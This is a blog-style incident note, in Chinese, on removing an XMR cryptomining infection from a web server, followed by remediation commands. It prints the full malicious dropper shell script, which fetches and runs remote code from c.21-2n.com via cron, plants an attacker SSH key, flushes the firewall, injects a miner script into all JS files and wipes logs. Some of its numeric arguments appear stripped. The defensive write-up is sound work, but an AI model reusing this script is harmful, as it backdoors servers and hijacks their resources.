XMR恶意挖矿脚本处理笔记
一、登录
攻击者如何登录系统未能查出,所有日志已被清除。为防万一,把系统中没用的用户都删掉并修改其他用户密码。
二、被攻击后的表象
1、服务器资源被大量占用,资源占用率飙升;
2、服务器所有JS文件被篡改,向输出页面增加了一个script标签(document.write('<script src="http://t.cn/EvlonFh"></script><script>OMINEId("e02cf4ce91284dab9bc3fc4cc2a65e28","-1")</script>');)
3、网站无法加载,会出现浏览器卡死的情况
三、排查
1、访问服务器上运行的网站,从浏览器控制台中发现不停访问一个wss的地址(wss://xmr.omine.org:8181/),并且很慢。
2、通过百度搜索这个地址,可知此为XMR恶意挖矿脚本。
3、远程登录服务器,输入top命令,发现有zigw进程在运行,消耗大量资源,kill掉以后还会出现。
4、查看系统任务计划,发现定期同步恶意脚本的计划内容
# crontab -l
5、获取其样本文件,然后删除其任务计划
# wget http://c.21-2n.com:43768/shz.sh
# crontab -r
6、查看该样本文件,是一个shell脚本,内容如下:
#!/bin/sh
setenforce >dev/null
echo SELINUX=desabled > /etc/sysconfig/selinux >/dev/null
sync && echo >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo > /etc/gmbpr2
rtdir="/etc/gmbpr2"
oddir="/etc/gmbpr"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/url"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/get"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/curl /usr/bin/url
if [ -f "$oddir" ]
then
pkill zjgw
chattr -i /etc/shz.sh
rm -f /etc/shz.sh
chattr -i /tmp/shz.sh
rm -f /tmp/shz.sh
chattr -i /etc/gmbpr
rm -f /etc/gmbpr
else
echo "ok"
fi
if [ -f "$rtdir" ]
then
echo "goto 1" >> /etc/gmbpr2
chattr -i $cont
if [ -f "$bbdir" ]
then
[[ $cont =~ "shz.sh" ]] || echo "*/12 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
else
[[ $cont =~ "shz.sh" ]] || echo "*/15 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
fi
mkdir /root/.ssh
[[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod /root/.ssh/
[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys
[[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod /root/.ssh/authorized_keys
[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys
ps -fe|grep zigw |grep -v grep
if [ $? -ne ]
then
cd /etc
filesize=`ls -l zigw | awk '{ print $5 }'`
file="/etc/zigw"
if [ -f "$file" ]
then
if [ "$filesize" -ne "" ]
then
chattr -i /etc/zigw
rm -f zigw
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://c.21-2n.com:43768/zigw > /etc/zigw
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://c.21-2n.com:43768/zigw > /etc/zigw
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /etc http://c.21-2n.com:43768/zigw
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /etc http://c.21-2n.com:43768/zigw
fi
fi
else
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://c.21-2n.com:43768/zigw > /etc/zigw
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://c.21-2n.com:43768/zigw > /etc/zigw
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /etc http://c.21-2n.com:43768/zigw
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /etc http://c.21-2n.com:43768/zigw
fi
fi
chmod zigw
sleep 1s
./zigw
else
echo "runing....."
fi
chmod /etc/zigw
chattr +i /etc/zigw
chmod /etc/shz.sh
chattr +i /etc/shz.sh
shdir='/etc/shz.sh'
if [ -f "$shdir" ]
then
echo "exists shell"
else
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://c.21-2n.com:43768/shz.sh > /etc/shz.sh
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://c.21-2n.com:43768/shz.sh > /etc/shz.sh
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /etc http://c.21-2n.com:43768/shz.sh
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /etc http://c.21-2n.com:43768/shz.sh
fi
sh /etc/shz.sh
fi
else
echo "goto 1" > /tmp/gmbpr2
chattr -i $cont
if [ -f "$bbdir" ]
then
[[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768:43768/shz.sh | sh" >> ${crondir}
else
[[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768:43768/shz.sh | sh" >> ${crondir}
fi
ps -fe|grep zigw |grep -v grep
if [ $? -ne ]
then
cd /tmp
filesize=`ls -l zigw | awk '{ print $5 }'`
file="/tmp/zigw"
if [ -f "$file" ]
then
if [ "$filesize" -ne "" ]
then
chattr -i /tmp/zigw
rm -f zigw
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://c.21-2n.com:43768/zigw > /tmp/zigw
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://c.21-2n.com:43768/zigw > /tmp/zigw
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /tmp http://c.21-2n.com:43768/zigw
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /tmp http://c.21-2n.com:43768/zigw
fi
fi
else
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://c.21-2n.com:43768/zigw > /tmp/zigw
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://c.21-2n.com:43768/zigw > /tmp/zigw
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /tmp http://c.21-2n.com:43768/zigw
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /tmp http://c.21-2n.com:43768/zigw
fi
fi
chmod zigw
sleep 1s
./zigw
else
echo "runing....."
fi
chmod /tmp/zigw
chattr +i /tmp/zigw
chmod /tmp/shz.sh
chattr +i /tmp/shz.sh
shdir='/tmp/shz.sh'
if [ -f "$shdir" ]
then
echo "exists shell"
else
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /tmp http://c.21-2n.com:43768/shz.sh
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /tmp http://c.21-2n.com:43768/shz.sh
fi
sh /tmp/shz.sh
fi
fi
iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport -j DROP
iptables -A OUTPUT -p tcp --dport -j DROP
iptables -A OUTPUT -p tcp --dport -j DROP
iptables -A OUTPUT -p tcp --dport -j DROP
iptables -A OUTPUT -p tcp --dport -j DROP
iptables-save
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\;
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history
echo > /var/spool/mail/root
7、阅读脚本内容,发现可能会在/etc或/tmp下创建shz.sh和zigw文件,并设置了特殊权限,此次发现是在/etc中;同时会创建ssh免密登录的密钥。杀掉进程、修改权限并删除该文件。
# rm -rf ~/.ssh
#
# ps -aux | grep zigw
# kill - <进程号>
# ps -aux | grep shz
# kill - <进程号>
#
# chattr -i /etc/shz.sh /etc/zigw
# rm -f /etc/shz.sh /etc/zigw /etc/gmbpr2
8、查看任务计划的配置文件,并删除相应内容
# ls -alh /etc/cron.d/
# rm -f /etc/cron.d/root
9、恢复服务器中的js文件(其中grep的参数为小写的L)
# find / -name '*.js' | xargs grep -l f4ce9 | xargs sed -i '/f4ce9/d'
10、因此恶意脚本中删除了所有防火墙规则,影响到docker容器的网络功能,即容器中无法访问网络,导致其中运行的网站无法访问数据库,经过查阅资料和研究,认为需要重建docker网络,但累了一天,懒得弄了,正好系统更新中包含了docker,更新后恢复正常,得出结论:比较简单的解决方法就是更新或重装(好像重建docker网络也不难)。
比较有疑问的是,看了脚本中是用iptables操作的,但我的服务器中采用的是firewall,没想明白为何会产生影响。
XMR恶意挖矿脚本处理笔记的更多相关文章
- XMR恶意挖矿案例简析
前言 数字货币因其技术去中性化和经济价值等属性,逐渐成为大众关注的焦点,同时通过恶意挖矿获取数字货币是黑灰色产业获取收益的重要途径.本文简析通过蜜罐获取的XMR恶意挖矿事件:攻击者通过爆破SSH获取系 ...
- 网站被XMR恶意挖矿
发现: 网站首页被恶意更改 网站的关键词和描述被恶意更改 服务器和只要访问此服务器上的网页cup 直线上升100% 排查代码发现js 文件被恶意更改,访问了挖矿网站 操作:删除js 里面的恶意代码,更 ...
- Web应急:门罗币恶意挖矿
门罗币(Monero 或 XMR),它是一个非常注重于隐私.匿名性和不可跟踪的加密数字货币.只需在网页中配置好js脚本,打开网页就可以挖矿,是一种非常简单的挖矿方式,而通过这种恶意挖矿获取数字货币是黑 ...
- Kworkerd恶意挖矿分析
转自:https://www.360zhijia.com/anquan/417114.html 0x01 快速特征排查 TOP显示CPU占用高,但是没有高占用的进程 存在与未知服务器13531端口建立 ...
- 高端黑链SEO—恶意JS脚本注入访问伪随机域名
摘要:我们的服务器又出入侵事故了.有客户的 html 网页底部被插入了一段 js 脚本,导致访客打开网页时被杀毒软件警告网站上有恶意代码.在黑链 SEO 中这是常见的手法,但奇特的地方就在于我们这次捕 ...
- shell 脚本实战笔记(11)--Mysql在linux下的安装和简单运维
前言: linux中安装mysql以及配置的管理, 基础的运维和管理还是需要会一些的. 这边作下笔记, 以求天天向上(^_^). 安装流程:*). 安装mysql-server1). 借助yum检索相 ...
- shell 脚本实战笔记(10)--spark集群脚本片段念念碎
前言: 通过对spark集群脚本的研读, 对一些重要的shell脚本技巧, 做下笔记. *). 取当前脚本的目录 sbin=`dirname "$0"` sbin=`cd &quo ...
- 阿里云服务器挖矿脚本bioset攻击解决
1.问题出现 一大早刚起床,阿里云就给我发了一条短信,提醒我服务器出现紧急安全事件:挖矿程序 阿里云“贴心”地提供了解决方法,不过需要购买企业版的安全服务,本着能自己动手就不花钱原则自己搞了起来 于是 ...
- loadrunner录制脚本方式笔记
1.脚本录制的基本原则 充分考虑脚本的执行效率 性能测试脚本关注的是如何模拟用户的真实行为.因此,用于测试的脚本应该接近用户的真正操作.这就要求录制后 的脚本在修改的过程中不要增加过多 ...
随机推荐
- web中切图、快速切图与web雪碧图制作的方法
声明: web小白的笔记,欢迎大神指点,联系QQ:1522025433. 工具:Photoshop 1.复制文字:点击文章工具后选择文字. 2.矩形选框工具 看信息 f8, 取消矩形选框 Ctrl+D ...
- POJ 3280 Cheapest Palindrome【DP】
题意:对一个字符串进行插入删除等操作使其变成一个回文串,但是对于每个字符的操作消耗是不同的.求最小消耗. 思路: 我们定义dp [ i ] [ j ] 为区间 i 到 j 变成回文的最小代价.那么对于 ...
- 一篇笔记带你梳理JVM工作原理
首先要了解的 数据类型 Java虚拟机中,数据类型可以分为两类:基本类型和引用类型. 基本类型的变量保存原始值,即:他代表的值就是数值本身:而引用类型的变量保存引用值.“引用值”代表了某个对象的引用, ...
- 039 hive中关于数据库与表等的基本操作
一:基本用法 1.新建数据库 2.删除数据库 3.删除非空的数据库 4.指定数据库的位置 LOCATION:指定数据库的位置,不会在系统的默认文件下. 5.在指定数据库中新建表(验证在指定的数据库中可 ...
- header 和http状态码
select qg.*,gg.finalgrade,gi.itemname,gi.courseid,gi.itemmodule,gi.itemtype from mymdl_quiz_grades a ...
- Lemon 评测软件用法
Lemon 评测软件用法(陈国凯手把手教的) MYL学妹提供的软件,感谢. 编译器添加向导->预制编译器配置->g++: C:\Program Files\Dev-Cpp\MinGW64\ ...
- 【知了堂学习笔记】java 自定义异常
java 常见异常种类(Java Exception): 算术异常类:ArithmeticExecption 空指针异常类:NullPointerException 类型强制转换异常:ClassCas ...
- DB安装
start from the execute file : DB2_ESE_10_Win_x86-64\setup.exe Navigator to "Install a Product&q ...
- Orleans逐步教程
参考文档:https://dotnet.github.io/orleans/Tutorials/index.html 一.通过模板创建Orleans ①下载vs插件:https://marketpla ...
- Fibonacci Modified
题目来源:Fibonacci Modified We define a modified Fibonacci sequence using the following definition: Give ...